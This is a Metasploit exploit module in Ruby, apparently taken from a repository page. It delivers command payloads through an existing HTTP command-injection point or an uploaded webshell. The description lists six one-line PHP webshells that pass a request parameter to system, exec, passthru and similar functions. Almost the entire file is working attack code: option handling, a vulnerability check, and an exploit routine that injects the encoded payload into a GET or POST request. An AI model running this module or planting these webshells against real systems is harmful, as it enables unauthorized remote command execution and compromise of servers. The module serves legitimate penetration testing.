153 lines
5.1 KiB
Ruby
153 lines
5.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Generic HTTP Command Execution',
|
|
'Description' => %q{
|
|
This module interacts with existing command execution functionality on a target system,
|
|
where user-supplied input is directly passed to system execution functions via a HTTP request.
|
|
This could be from an existing vulnerability, or uploaded webshells such as:
|
|
<?php passthru($_REQUEST['cmd']); ?>
|
|
<?php system($_REQUEST['cmd']); ?>
|
|
<?php echo exec($_REQUEST['cmd']); ?>
|
|
<?php echo shell_exec($_REQUEST['cmd']); ?>
|
|
<?php echo fread(popen($_REQUEST['cmd'], 'r'), 2096); ?>
|
|
<?php echo `{$_REQUEST['cmd']}`; ?>
|
|
|
|
It is likely that HTTP evasion options will break this exploit.
|
|
},
|
|
'Privileged' => false,
|
|
'Payload' => {
|
|
'DisableNops' => true,
|
|
'BadChars' => '&;' # `&` = GET `;` = POST
|
|
},
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [
|
|
[
|
|
'Linux', {
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[
|
|
'Unix', {
|
|
'Platform' => 'unix'
|
|
}
|
|
],
|
|
[
|
|
'Windows', {
|
|
'Platform' => 'win'
|
|
}
|
|
],
|
|
[
|
|
'macOS/OSX', {
|
|
'Platform' => 'osx'
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Author' => [
|
|
'egypt', # Original Metasploit module: exploits/unix/webapp/php_eval
|
|
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DisclosureDate' => '2026-02-26',
|
|
'References' => [],
|
|
'Notes' => {
|
|
'Reliability' => UNKNOWN_RELIABILITY,
|
|
'Stability' => UNKNOWN_STABILITY,
|
|
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('POSTDATA', [false, 'POST data to send, with the command injection placeholder set to !INJECT!. Otherwise, a GET request will be used.']),
|
|
OptString.new('URIPATH', [true, 'The URI to request, with the command injection placeholder set to !INJECT!.', '/ping/?cmd=!INJECT!']),
|
|
OptString.new('HEADERS', [false, 'Any additional HTTP headers to send, cookies for example. Format: "header=value,header2=value2"'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def datastore_headers
|
|
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ''
|
|
headers_hash = {}
|
|
if headers && !headers.empty?
|
|
headers.split(',').each do |header|
|
|
next if header.nil? || header.empty?
|
|
|
|
key, value = header.split('=', 2)
|
|
next if key.nil? || value.nil?
|
|
|
|
key = key.strip
|
|
value = value.strip
|
|
next if key.empty? || value.empty?
|
|
|
|
headers_hash[key] = value
|
|
end
|
|
end
|
|
headers_hash
|
|
end
|
|
|
|
def send_request(method, uri, data, timeout = 30)
|
|
feedback_text = "Sending #{method} request: http#{ssl ? 's' : ''}://#{rhost}:#{rport}#{uri}"
|
|
feedback_text << " -> #{data}" unless method.casecmp?('get')
|
|
print_status(feedback_text)
|
|
|
|
req = {
|
|
'global' => true,
|
|
'uri' => uri,
|
|
'method' => method,
|
|
'headers' => datastore_headers.merge(
|
|
'Connection' => 'close'
|
|
)
|
|
}
|
|
unless method.casecmp?('get')
|
|
req['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
|
|
req['data'] = data
|
|
end
|
|
|
|
send_request_raw(req, timeout)
|
|
end
|
|
|
|
def check
|
|
method = datastore['POSTDATA'] ? 'POST' : 'GET'
|
|
content = rand_text_alphanumeric(rand(16..31))
|
|
payload = Rex::Text.uri_encode("echo #{content}")
|
|
uri = datastore['URIPATH'].sub('!INJECT!', payload)
|
|
data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload)
|
|
|
|
response = send_request(method, uri, data)
|
|
|
|
return Exploit::CheckCode::Unknown('Could not connect to the target') unless response
|
|
return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') if response.code == 200 && response.body.match(content)
|
|
return Exploit::CheckCode::Detected('The target service was detected') if response.code == 200
|
|
|
|
vprint_error("Server responded with: HTTP #{response.code}")
|
|
return Exploit::CheckCode::Safe('Unexpected HTTP status code received')
|
|
end
|
|
|
|
def exploit
|
|
method = datastore['POSTDATA'] ? 'POST' : 'GET'
|
|
uri = datastore['URIPATH'].sub('!INJECT!', Rex::Text.uri_encode(payload.encoded))
|
|
data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload.encoded)
|
|
|
|
# Very short timeout because the request may never return if we're sending a socket payload
|
|
timeout = 0.01
|
|
|
|
response = send_request(method, uri, data, timeout)
|
|
vprint_warning("Server responded with: HTTP #{response.code}") if response && response.code != 200
|
|
end
|
|
end
|